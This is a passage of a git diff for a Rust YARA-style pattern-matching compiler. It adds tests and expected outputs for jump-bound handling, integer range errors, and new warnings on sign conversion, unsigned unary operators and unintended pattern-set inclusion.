scanner.scan(b"\x01\x02").unwrap().matching_rules().len(), + 0 + ); + } + + // Chained fixed jump `{ 01 02 [5000] 03 04 }` matches across an exact + // 5,000-byte gap (exceeding the 4,096-byte regexp VM scan limit), and does + // not match 4,999-byte or 5,001-byte gaps. + let rules = compile( + "rule test { strings: $a = { 01 02 [5000] 03 04 } condition: $a }", + ) + .unwrap(); + let mut scanner = Scanner::new(&rules); + for (gap_len, expected_matches) in [(4999, 0), (5000, 1), (5001, 0)] { + let mut buf = vec![0x01, 0x02]; + buf.extend(std::iter::repeat_n(0xff, gap_len)); + buf.extend_from_slice(&[0x03, 0x04]); + assert_eq!( + scanner.scan(&buf).unwrap().matching_rules().len(), + expected_matches + ); + } + + // 2. Un-split jumps exceeding `u16::MAX` (`65,535`) with a >= 2-byte atom + // are compiled for FastVM using `u32` jump operands and must not + // truncate `65536` to `0` or `65537` to `1`. + let rules = compile( + "rule test { strings: $a = { 01 [65536] 02 03 } condition: $a }", + ) + .unwrap(); + let mut scanner = Scanner::new(&rules); + assert_eq!( + scanner.scan(b"\x01\x02\x03").unwrap().matching_rules().len(), + 0 + ); + + let rules = compile( + "rule test { strings: $a = { 01 [0-65536] 02 03 } condition: $a }", + ) + .unwrap(); + let mut scanner = Scanner::new(&rules); + assert_eq!( + scanner.scan(b"\x01\xff\x02\x03").unwrap().matching_rules().len(), + 1 + ); + + let rules = compile( + "rule test { strings: $a = { 01 [0-65537] 02 03 } condition: $a }", + ) + .unwrap(); + let mut scanner = Scanner::new(&rules); + assert_eq!( + scanner.scan(b"\x01\xff\xff\x02\x03").unwrap().matching_rules().len(), + 1 + ); + + // Leading and trailing `JumpExact` in FastVM must check `next_pos <= input.len()` + // rather than advancing past the input slice bounds. + for pat in ["/.{10}(ab|cd)/s", "/(ab|cd).{10}/s"] { + let rule = + format!("rule test {{ strings: $a = {pat} condition: $a }}"); + let rules = compile(rule.as_str()).unwrap(); + let mut scanner = Scanner::new(&rules); + assert_eq!(scanner.scan(b"ab").unwrap().matching_rules().len(), 0); + assert_eq!( + scanner + .scan(b"0123456789ab0123456789") + .unwrap() + .matching_rules() + .len(), + 1 + ); + } + + // 3. Consecutive jumps whose coalesced lower or upper bound overflows + // `u32::MAX` must fail cleanly with `InvalidPattern` (`E024`). + for pat in [ + "{ 01 [3000000000] [2000000000] 02 }", + "{ 01 [0-3000000000] [0-2000000000] 02 }", + "{ 01 [3000000000-] [2000000000-] 02 }", + "{ 01 [3000000000] [2000000000] [100] 02 }", + ] { + let rule = + format!("rule test {{ strings: $a = {pat} condition: $a }}"); + let err = compile(rule.as_str()).unwrap_err(); + let msg = err.to_string(); + assert!(msg.contains("jump exceeds maximum allowed bound"), "{msg}"); + assert!( + msg.contains("consecutive jumps were coalesced into a single one"), + "{msg}" + ); + } +} + +#[test] +fn test_non_matching_rules_page_boundary() { + use crate::compiler::RuleInfo; + use crate::wasm::MATCHING_RULES_BITMAP_BASE; + + // Also verify 0 rules (`num_rules == 0`). + let empty_rules = compile("").unwrap(); + let mut scanner = Scanner::new(&empty_rules); + let results = scanner.scan(b"").unwrap(); + assert_eq!(results.non_matching_rules().count(), 0); + + // Populate `rules` so `MATCHING_RULES_BITMAP_BASE + num_rules.div_ceil(8)` + // lands on an exact 65,536-byte WASM page boundary (`382,976` rules with + // `num_patterns == 0`). + let mut rules = compile("rule r { condition: false }").unwrap(); + let exact_page_rules = (65536 - MATCHING_RULES_BITMAP_BASE as usize) * 8; + let namespace_id = rules.rules[0].namespace_id; + let namespace_ident_id = rules.rules[0].namespace_ident_id; + let ident_id = rules.rules[0].ident_id; + let ident_ref = rules.rules[0].ident_ref.clone(); + + rules.rules.resize_with(exact_page_rules, || RuleInfo { + namespace_id, + namespace_ident_id, + ident_id, + tags: Vec::new(), + ident_ref: ident_ref.clone(), + metadata: Vec::new(), + patterns: Vec::new(), + num_private_patterns: 0, + is_global: false, + is_private: false, + }); + + let mut scanner = Scanner::new(&rules); + let results = scanner.scan(b"").unwrap(); + assert_eq!(results.non_matching_rules().len(), exact_page_rules); + assert_eq!(results.non_matching_rules().count(), exact_page_rules); +} diff --git a/lib/src/compiler/tests/testdata/errors/100.out b/lib/src/compiler/tests/testdata/errors/100.out index ebe886ba8..31a5f1ffe 100644 --- a/lib/src/compiler/tests/testdata/errors/100.out +++ b/lib/src/compiler/tests/testdata/errors/100.out @@ -2,4 +2,4 @@ error[E027]: invalid integer --> line:2:15 | 2 | condition: -99999999999999999999 - | ^^^^^^^^^^^^^^^^^^^^ this number is out of the valid range: [-9223372036854775808, 9223372036854775807] \ No newline at end of file + | ^^^^^^^^^^^^^^^^^^^^ this number is out of the valid range: [-9223372036854775808, 18446744073709551615] \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/161.in b/lib/src/compiler/tests/testdata/errors/161.in new file mode 100644 index 000000000..b40df2efe --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/161.in @@ -0,0 +1,5 @@ +// constant-folding required +rule test { + condition: + 0xFFFFFFFFFFFFFFFF + 1 == 0 +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/161.out b/lib/src/compiler/tests/testdata/errors/161.out new file mode 100644 index 000000000..6f68adb91 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/161.out @@ -0,0 +1,5 @@ +error[E007]: number out of range + --> line:4:5 + | +4 | 0xFFFFFFFFFFFFFFFF + 1 == 0 + | ^^^^^^^^^^^^^^^^^^^^^^ this number is out of the allowed range [-9223372036854775808-9223372036854775807] \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/162.in b/lib/src/compiler/tests/testdata/errors/162.in new file mode 100644 index 000000000..a3ef7b77f --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/162.in @@ -0,0 +1,4 @@ +rule test { + condition: + 0x10000000000000000 == 0 +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/162.out b/lib/src/compiler/tests/testdata/errors/162.out new file mode 100644 index 000000000..7343b097a --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/162.out @@ -0,0 +1,5 @@ +error[E027]: invalid integer + --> line:3:5 + | +3 | 0x10000000000000000 == 0 + | ^^^^^^^^^^^^^^^^^^^ this number is out of the valid range: [-9223372036854775808, 18446744073709551615] \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/163.in b/lib/src/compiler/tests/testdata/errors/163.in new file mode 100644 index 000000000..1299b7ad8 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/163.in @@ -0,0 +1,4 @@ +rule test { + condition: + for any i in (0..0x8000000000000000) : (true) +} diff --git a/lib/src/compiler/tests/testdata/errors/163.out b/lib/src/compiler/tests/testdata/errors/163.out new file mode 100644 index 000000000..da9a4ff84 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/163.out @@ -0,0 +1,5 @@ +error[E007]: number out of range + --> line:3:22 + | +3 | for any i in (0..0x8000000000000000) : (true) + | ^^^^^^^^^^^^^^^^^^ this number is out of the allowed range [0-9223372036854775807] \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/164.in b/lib/src/compiler/tests/testdata/errors/164.in new file mode 100644 index 000000000..869046ebb --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/164.in @@ -0,0 +1,4 @@ +rule test { + condition: + -9223372036854775809 == 9223372036854775807 +} diff --git a/lib/src/compiler/tests/testdata/errors/164.out b/lib/src/compiler/tests/testdata/errors/164.out new file mode 100644 index 000000000..c4c0a3ab8 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/164.out @@ -0,0 +1,5 @@ +error[E027]: invalid integer + --> line:3:5 + | +3 | -9223372036854775809 == 9223372036854775807 + | ^^^^^^^^^^^^^^^^^^^^ this number is out of the valid range: [-9223372036854775808, 18446744073709551615] \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/165.in b/lib/src/compiler/tests/testdata/errors/165.in new file mode 100644 index 000000000..90ed2fac2 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/165.in @@ -0,0 +1,5 @@ +// constant-folding required +rule test { + condition: + -(-9223372036854775808) > 0 +} diff --git a/lib/src/compiler/tests/testdata/errors/165.out b/lib/src/compiler/tests/testdata/errors/165.out new file mode 100644 index 000000000..367e95efe --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/165.out @@ -0,0 +1,5 @@ +error[E007]: number out of range + --> line:4:5 + | +4 | -(-9223372036854775808) > 0 + | ^^^^^^^^^^^^^^^^^^^^^^ this number is out of the allowed range [-9223372036854775808-9223372036854775807] \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/166.in b/lib/src/compiler/tests/testdata/errors/166.in new file mode 100644 index 000000000..9d1b25473 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/166.in @@ -0,0 +1,5 @@ +// constant-folding required +rule test { + condition: + -(0xFFFFFFFFFFFFFFFF) == 1 +} diff --git a/lib/src/compiler/tests/testdata/errors/166.out b/lib/src/compiler/tests/testdata/errors/166.out new file mode 100644 index 000000000..00d8552bf --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/166.out @@ -0,0 +1,5 @@ +error[E007]: number out of range + --> line:4:5 + | +4 | -(0xFFFFFFFFFFFFFFFF) == 1 + | ^^^^^^^^^^^^^^^^^^^^ this number is out of the allowed range [-9223372036854775808-9223372036854775807] \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/167.in b/lib/src/compiler/tests/testdata/errors/167.in new file mode 100644 index 000000000..4bb1b1b79 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/167.in @@ -0,0 +1,6 @@ +rule test { + strings: + $a = /((((((((((((((((a){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}/ + condition: + $a +} diff --git a/lib/src/compiler/tests/testdata/errors/167.out b/lib/src/compiler/tests/testdata/errors/167.out new file mode 100644 index 000000000..085019c57 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/167.out @@ -0,0 +1,5 @@ +error[E014]: invalid regular expression + --> line:3:3 + | +3 | $a = /((((((((((((((((a){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}){4}/ + | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ regexp is too large \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/168.in b/lib/src/compiler/tests/testdata/errors/168.in new file mode 100644 index 000000000..68745d2ec --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/168.in @@ -0,0 +1,4 @@ +rule test { + condition: + with re = /foo/ : ( re ) +} diff --git a/lib/src/compiler/tests/testdata/errors/168.out b/lib/src/compiler/tests/testdata/errors/168.out new file mode 100644 index 000000000..49f8f822a --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/168.out @@ -0,0 +1,5 @@ +error[E002]: wrong type + --> line:3:25 + | +3 | with re = /foo/ : ( re ) + | ^^ expression should be `bool`, but it is a regexp \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/169.in b/lib/src/compiler/tests/testdata/errors/169.in new file mode 100644 index 000000000..4cad4d035 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/169.in @@ -0,0 +1,4 @@ +rule test { + condition: + with re = /foo/ : ( defined re ) +} diff --git a/lib/src/compiler/tests/testdata/errors/169.out b/lib/src/compiler/tests/testdata/errors/169.out new file mode 100644 index 000000000..808b021b5 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/169.out @@ -0,0 +1,5 @@ +error[E002]: wrong type + --> line:3:33 + | +3 | with re = /foo/ : ( defined re ) + | ^^ expression should be `boolean`, `float`, `integer`, or `string`, but it is `regexp` \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/170.in b/lib/src/compiler/tests/testdata/errors/170.in new file mode 100644 index 000000000..8e878eac5 --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/170.in @@ -0,0 +1,4 @@ +rule test { + condition: + with re = /foo/ : ( re == re ) +} diff --git a/lib/src/compiler/tests/testdata/errors/170.out b/lib/src/compiler/tests/testdata/errors/170.out new file mode 100644 index 000000000..f3179687c --- /dev/null +++ b/lib/src/compiler/tests/testdata/errors/170.out @@ -0,0 +1,5 @@ +error[E002]: wrong type + --> line:3:25 + | +3 | with re = /foo/ : ( re == re ) + | ^^ expression should be `boolean`, `float`, `integer`, or `string`, but it is `regexp` \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/errors/99.out b/lib/src/compiler/tests/testdata/errors/99.out index 6b647c24f..9854f6a16 100644 --- a/lib/src/compiler/tests/testdata/errors/99.out +++ b/lib/src/compiler/tests/testdata/errors/99.out @@ -2,4 +2,4 @@ error[E027]: invalid integer --> line:2:15 | 2 | condition: 99999999999999999999 - | ^^^^^^^^^^^^^^^^^^^^ this number is out of the valid range: [-9223372036854775808, 9223372036854775807] \ No newline at end of file + | ^^^^^^^^^^^^^^^^^^^^ this number is out of the valid range: [-9223372036854775808, 18446744073709551615] \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/warnings/48.in b/lib/src/compiler/tests/testdata/warnings/48.in index 9f33e31ad..a4cf59462 100644 --- a/lib/src/compiler/tests/testdata/warnings/48.in +++ b/lib/src/compiler/tests/testdata/warnings/48.in @@ -1,7 +1,16 @@ -rule single_byte_pattern { +rule single_byte_pattern_1{ strings: $a = "a" $b = { 01 } condition: $a or $b } + +rule single_byte_pattern_2 { + strings: + // This pattern should raise a warning because it won't be anchored due to + // the use of `$a` in the condition. + $a = "a" + condition: + any of ($a) at 0 or $a +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/warnings/48.out b/lib/src/compiler/tests/testdata/warnings/48.out index ea8f8c6fe..8a38d3abb 100644 --- a/lib/src/compiler/tests/testdata/warnings/48.out +++ b/lib/src/compiler/tests/testdata/warnings/48.out @@ -8,3 +8,8 @@ warning[slow_pattern]: slow pattern | 4 | $b = { 01 } | ------ this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:13:6 + | +13 | $a = "a" + | -------- this pattern may slow down the scan diff --git a/lib/src/compiler/tests/testdata/warnings/49.in b/lib/src/compiler/tests/testdata/warnings/49.in new file mode 100644 index 000000000..09dac1877 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/49.in @@ -0,0 +1,19 @@ +rule test_1 { + strings: + $s1 = "foo" + $s2 = "bar" + $s3 = "baz" + $start_bytes = { 80 90 } + condition: + $start_bytes and any of ($s*) +} + +rule test_2 { + strings: + $s1 = "foo" + $s2 = "bar" + $s3 = "baz" + $start_bytes = { 80 90 } + condition: + any of ($s*) and $start_bytes +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/warnings/49.out b/lib/src/compiler/tests/testdata/warnings/49.out new file mode 100644 index 000000000..aa0f448f0 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/49.out @@ -0,0 +1,14 @@ +warning[unintended_pattern_in_set]: pattern `$start_bytes` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:5 + | +8 | $start_bytes and any of ($s*) + | ------------ --- `$start_bytes` is also included in `$s*` + | | + | `$start_bytes` is used here +warning[unintended_pattern_in_set]: pattern `$start_bytes` may be unintendedly or redundantly included in pattern set `$s*` + --> line:18:13 + | +18 | any of ($s*) and $start_bytes + | --- ------------ `$start_bytes` is also used here + | | + | `$start_bytes` is included in `$s*` diff --git a/lib/src/compiler/tests/testdata/warnings/50.in b/lib/src/compiler/tests/testdata/warnings/50.in new file mode 100644 index 000000000..c2c0481ed --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/50.in @@ -0,0 +1,19 @@ +rule test_1 { + strings: + $s1 = "foo" + $s2 = "bar" + $sc_check1 = "baz" + $sc_check2 = "qux" + condition: + 1 of ($sc_check*) and 2 of ($s*) +} + +rule test_2 { + strings: + $s1 = "foo" + $s2 = "bar" + $sc_check1 = "baz" + $sc_check2 = "qux" + condition: + 2 of ($s*) and 1 of ($sc_check*) +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/warnings/50.out b/lib/src/compiler/tests/testdata/warnings/50.out new file mode 100644 index 000000000..15e8853a8 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/50.out @@ -0,0 +1,28 @@ +warning[unintended_pattern_in_set]: pattern `$sc_check1` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:11 + | +8 | 1 of ($sc_check*) and 2 of ($s*) + | ---------- --- `$sc_check1` is also included in `$s*` + | | + | `$sc_check1` is included in `$sc_check*` +warning[unintended_pattern_in_set]: pattern `$sc_check2` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:11 + | +8 | 1 of ($sc_check*) and 2 of ($s*) + | ---------- --- `$sc_check2` is also included in `$s*` + | | + | `$sc_check2` is included in `$sc_check*` +warning[unintended_pattern_in_set]: pattern `$sc_check1` may be unintendedly or redundantly included in pattern set `$s*` + --> line:18:11 + | +18 | 2 of ($s*) and 1 of ($sc_check*) + | --- ---------- `$sc_check1` is also included in `$sc_check*` + | | + | `$sc_check1` is included in `$s*` +warning[unintended_pattern_in_set]: pattern `$sc_check2` may be unintendedly or redundantly included in pattern set `$s*` + --> line:18:11 + | +18 | 2 of ($s*) and 1 of ($sc_check*) + | --- ---------- `$sc_check2` is also included in `$sc_check*` + | | + | `$sc_check2` is included in `$s*` diff --git a/lib/src/compiler/tests/testdata/warnings/51.in b/lib/src/compiler/tests/testdata/warnings/51.in new file mode 100644 index 000000000..dcf6bd284 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/51.in @@ -0,0 +1,9 @@ +rule test_1 { + strings: + $s1 = "foo" + $s2 = "far" + $s3 = "baz" + $start_bytes = { 80 90 } + condition: + ($start_bytes or $s1) and (any of ($s*)) +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/warnings/51.out b/lib/src/compiler/tests/testdata/warnings/51.out new file mode 100644 index 000000000..1766c8752 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/51.out @@ -0,0 +1,14 @@ +warning[unintended_pattern_in_set]: pattern `$start_bytes` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:6 + | +8 | ($start_bytes or $s1) and (any of ($s*)) + | ------------ --- `$start_bytes` is also included in `$s*` + | | + | `$start_bytes` is used here +warning[unintended_pattern_in_set]: pattern `$s1` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:22 + | +8 | ($start_bytes or $s1) and (any of ($s*)) + | --- --- `$s1` is also included in `$s*` + | | + | `$s1` is used here diff --git a/lib/src/compiler/tests/testdata/warnings/52.in b/lib/src/compiler/tests/testdata/warnings/52.in new file mode 100644 index 000000000..1f91214af --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/52.in @@ -0,0 +1,9 @@ +rule test { + strings: + $prefix_s_1 = "foo" + $prefix_s_2 = "bar" + + condition: + all of ($prefix_*) and + all of ($prefix_s_*) +} diff --git a/lib/src/compiler/tests/testdata/warnings/52.out b/lib/src/compiler/tests/testdata/warnings/52.out new file mode 100644 index 000000000..db864f20c --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/52.out @@ -0,0 +1,14 @@ +warning[unintended_pattern_in_set]: pattern `$prefix_s_1` may be unintendedly or redundantly included in pattern set `$prefix_*` + --> line:7:13 + | +7 | all of ($prefix_*) and + | --------- `$prefix_s_1` is included in `$prefix_*` +8 | all of ($prefix_s_*) + | ----------- `$prefix_s_1` is also included in `$prefix_s_*` +warning[unintended_pattern_in_set]: pattern `$prefix_s_2` may be unintendedly or redundantly included in pattern set `$prefix_*` + --> line:7:13 + | +7 | all of ($prefix_*) and + | --------- `$prefix_s_2` is included in `$prefix_*` +8 | all of ($prefix_s_*) + | ----------- `$prefix_s_2` is also included in `$prefix_s_*` diff --git a/lib/src/compiler/tests/testdata/warnings/53.in b/lib/src/compiler/tests/testdata/warnings/53.in new file mode 100644 index 000000000..8348f8ced --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/53.in @@ -0,0 +1,24 @@ +rule test_1 { + condition: + -uint64(0) == 1 +} + +rule test_2 { + condition: + ~0xFFFFFFFFFFFFFFFF == 0 +} + +rule test_3 { + condition: + uint32(0) == 0xFFFFFFFFFFFFFFFF +} + +rule test_4 { + condition: + uint64(0) == -1 +} + +rule test_5 { + condition: + int64(0) == 0x8000000000000000 +} diff --git a/lib/src/compiler/tests/testdata/warnings/53.out b/lib/src/compiler/tests/testdata/warnings/53.out new file mode 100644 index 000000000..c0211edb2 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/53.out @@ -0,0 +1,35 @@ +warning[unsigned_unary_op]: `-` applied to an unsigned integer + --> line:3:6 + | +3 | -uint64(0) == 1 + | --------- this is an unsigned integer + | + = note: the result is a signed integer, which wraps around if the unsigned value is greater than 0x7FFFFFFFFFFFFFFF +warning[unsigned_unary_op]: `~` applied to an unsigned integer + --> line:8:6 + | +8 | ~0xFFFFFFFFFFFFFFFF == 0 + | ------------------ this is an unsigned integer + | + = note: the result is an unsigned integer with all its 64 bits inverted +warning[unsatisfiable_expr]: unsatisfiable expression + --> line:13:5 + | +13 | uint32(0) == 0xFFFFFFFFFFFFFFFF + | --------- ------------------ this integer is outside the range [0,4294967295] + | | + | this expression is an integer in the range [0,4294967295] +warning[unsatisfiable_expr]: unsatisfiable expression + --> line:18:5 + | +18 | uint64(0) == -1 + | --------- -- this integer is outside the range [0,18446744073709551615] + | | + | this expression is an integer in the range [0,18446744073709551615] +warning[unsatisfiable_expr]: unsatisfiable expression + --> line:23:5 + | +23 | int64(0) == 0x8000000000000000 + | -------- ------------------ this integer is outside the range [-9223372036854775808,9223372036854775807] + | | + | this expression is an integer in the range [-9223372036854775808,9223372036854775807] diff --git a/lib/src/compiler/tests/testdata/warnings/54.in b/lib/src/compiler/tests/testdata/warnings/54.in new file mode 100644 index 000000000..a8481f549 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/54.in @@ -0,0 +1,26 @@ +import "math" + +rule test_1 { + condition: + uint64(0) % -3 == 2 +} + +rule test_2 { + condition: + -6 \ uint64(0) == 0 +} + +rule test_3 { + condition: + uint64(0) \ 2 \ -2 == 0 +} + +rule test_4 { + condition: + for any x in (0xFFFFFFFFFFFFFFFF, -5) : (x == 1) +} + +rule test_5 { + condition: + math.to_string(0xFFFFFFFFFFFFFFFF) == "-1" +} diff --git a/lib/src/compiler/tests/testdata/warnings/54.out b/lib/src/compiler/tests/testdata/warnings/54.out new file mode 100644 index 000000000..e1ec2bb08 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/54.out @@ -0,0 +1,35 @@ +warning[sign_conversion]: implicit conversion changes signedness + --> line:5:17 + | +5 | uint64(0) % -3 == 2 + | -- this is converted to 18446744073709551613 + | + = note: signed integers are converted to unsigned when mixed with unsigned integers +warning[sign_conversion]: implicit conversion changes signedness + --> line:10:5 + | +10 | -6 \ uint64(0) == 0 + | -- this is converted to 18446744073709551610 + | + = note: signed integers are converted to unsigned when mixed with unsigned integers +warning[sign_conversion]: implicit conversion changes signedness + --> line:15:21 + | +15 | uint64(0) \ 2 \ -2 == 0 + | -- this is converted to 18446744073709551614 + | + = note: signed integers are converted to unsigned when mixed with unsigned integers +warning[sign_conversion]: implicit conversion changes signedness + --> line:20:39 + | +20 | for any x in (0xFFFFFFFFFFFFFFFF, -5) : (x == 1) + | -- this is converted to 18446744073709551611 + | + = note: signed integers are converted to unsigned when mixed with unsigned integers +warning[sign_conversion]: implicit conversion changes signedness + --> line:25:20 + | +25 | math.to_string(0xFFFFFFFFFFFFFFFF) == "-1" + | ------------------ this is converted to -1 + | + = note: the function expects a signed integer diff --git a/lib/src/compiler/tests/testdata/warnings/no_warnings.in b/lib/src/compiler/tests/testdata/warnings/no_warnings.in index 923c445ac..79d62d078 100644 --- a/lib/src/compiler/tests/testdata/warnings/no_warnings.in +++ b/lib/src/compiler/tests/testdata/warnings/no_warnings.in @@ -52,10 +52,10 @@ rule test_7 { } rule test_8 { - condition: - uint8(0) == 0 or uint8(0) == 0xFF or - uint16(0) == 0 or uint16(0) == 0xFFFF or - uint32(0) == 0 or uint32(0) == 0xFFFFFFFF + condition: + uint8(0) == 0 or uint8(0) == 0xFF or + uint16(0) == 0 or uint16(0) == 0xFFFF or + uint32(0) == 0 or uint32(0) == 0xFFFFFFFF } rule test_9 { @@ -83,3 +83,98 @@ rule test_11 { a == 1 and b == 2 and c == 3 ) } + +rule test_12 { + strings: + // These short pattern don't produce warnings because they will anchored + // at position 0. + $s_1 = "#" + $s_2 = "-" + condition: + any of ($s_*) at 0 +} + +rule test_13 { + strings: + $s1 = "exec" + $s2 = "system" + $s3 = "spawn" + $s4 = "shell" + condition: + any of ($s*) +} + +rule test_14 { + strings: + $placeholder_instruction = "a" + $placeholder_ftp = "b" + $context_ftp = "c" + $context_other = "d" + $harm_1 = "e" + condition: + ( + $placeholder_instruction and + 1 of ($context_*) and + 1 of ($harm_*) + ) or ( + $placeholder_ftp and + $context_ftp and + 1 of ($harm_*) + ) +} + +rule test_15 { + strings: + $str1 = "foo" + $str2 = "bar" + $str3 = "baz" + $str4 = "test" + $str5 = "demo" + $key1 = "k1" + condition: + uint16(0) != 0x5A4D and + all of ($str*) and + 3 of ($key*) and + #str5 in (0 .. 1024) and + #str3 > 30 and + !str4 > 10 and + @str1 == 0 +} + +rule test_16 { + strings: + $dollar = "$" + $other = "foobar" + condition: + all of them and $dollar at 0 +} + +rule test_17 { + condition: + // Constants with different signedness are not checked against the + // range of each other's type. + 0xFFFFFFFFFFFFFFFF == -1 or -1 == 0xFFFFFFFFFFFFFFFF +} + +import "math" + +rule test_18 { + condition: + // Converting a negative constant to unsigned doesn't change the result of + // additions, subtractions, multiplications and bitwise operations. + uint64(0) + -1 == 0 or + uint64(0) - -1 == 0 or + uint64(0) * -1 == 0 or + uint64(0) & -4 == 0 or + // Both operands in the first division are signed, -6 is not converted. + -6 \ 2 \ uint64(0) == 0 or + // Divisions involving floats are performed with floats. + uint64(0) \ -2.0 == 0 or + // No unsigned integers are involved. + int64(0) % -3 == 0 or + for any x in (1, -5) : (x == 1) or + // These arguments keep their values in functions that expect signed + // integers. + math.to_string(-1) == "-1" or + math.to_string(0x7FFFFFFFFFFFFFFF) == "9223372036854775807" +} diff --git a/lib/src/compiler/tests/testdata/warnings/no_warnings.out b/lib/src/compiler/tests/testdata/warnings/no_warnings.out index e69de29bb..51e0c5187 100644 --- a/lib/src/compiler/tests/testdata/warnings/no_warnings.out +++ b/lib/src/compiler/tests/testdata/warnings/no_warnings.out @@ -0,0 +1,39 @@ +warning[slow_pattern]: slow pattern + --> line:109:5 + | +109 | $placeholder_instruction = "a" + | ------------------------------ this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:110:5 + | +110 | $placeholder_ftp = "b" + | ---------------------- this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:111:5 + | +111 | $context_ftp = "c" + | ------------------ this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:112:5 + | +112 | $context_other = "d" + | -------------------- this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:113:5 + | +113 | $harm_1 = "e" + | ------------- this pattern may slow down the scan +warning[invariant_expr]: invariant boolean expression + --> line:137:5 + | +137 | 3 of ($key*) and + | ----------- this expression is always false + | + = note: the expression requires 3 matching patterns out of 1 +warning[non_bool_expr]: non-boolean expression used as boolean + --> line:138:5 + | +138 | #str5 in (0 .. 1024) and + | -------------------- this expression is `integer` but is being used as `bool` + | + = note: non-zero integers are considered `true`, while zero is `false` diff --git a/lib/src/compiler/warnings.rs b/lib/src/compiler/warnings.rs index 6e87c0298..9d40d2913 100644 --- a/lib/src/compiler/warnings.rs +++ b/lib/src/compiler/warnings.rs @@ -36,12 +36,15 @@ pub enum Warning { PotentiallySlowLoop(Box), PotentiallyUnsatisfiableExpression(Box), RedundantCaseModifier(Box), + SignConversion(Box), SlowPattern(Box), TextPatternAsHex(Box), TooManyIterations(Box), UnknownTag(Box), UnsatisfiableExpression(Box), UnusedIdentifier(Box), + UnintendedPatternInSet(Box), + UnsignedUnaryOperation(Box), } /// A hex pattern contains two or more consecutive jumps. @@ -753,6 +756,40 @@ pub struct AmbiguousExpression { loc: CodeLoc, } +/// A pattern may be unintentionally included in a pattern set. +/// +/// For instance, if a rule defines patterns `$s1`, `$s2`, `$s3` and +/// `$suspicious_string`, and the condition is: +/// +/// `$suspicious_string and any of ($s*)` +/// +/// `any of ($s*)` was intended to match `$s1`, `$s2` and `$s3`, but not +/// `$suspicious_string`. However, `$s*` includes `$suspicious_string` +/// and that was unintended. +#[derive(ErrorStruct, Debug, PartialEq, Eq)] +#[associated_enum(Warning)] +#[warning( + code = "unintended_pattern_in_set", + title = "pattern `{pattern_ident}` may be unintendedly or redundantly included in pattern set `{pattern_set}`", +)] +#[label( + "{first_label}", + first_loc +)] +#[label( + "{second_label}", + second_loc +)] +pub struct UnintendedPatternInSet { + report: Report, + pattern_ident: String, + pattern_set: String, + first_label: String, + first_loc: CodeLoc, + second_label: String, + second_loc: CodeLoc, +} + /// An identifier was declared but not used. /// /// ## Example @@ -855,4 +892,73 @@ pub struct DuplicatePatternValue { existing_ident: String, duplicate_loc: CodeLoc, existing_loc: CodeLoc, -} \ No newline at end of file +} + +/// A unary minus (`-`) or bitwise not (`~`) is applied to an unsigned integer. +/// +/// Negating an unsigned integer produces a signed integer, and the result +/// wraps around for values greater than `0x7FFFFFFFFFFFFFFF`. The bitwise not +/// of an unsigned integer is an unsigned integer with all its 64 bits +/// inverted. +/// +/// ## Example +/// +/// ```text +/// 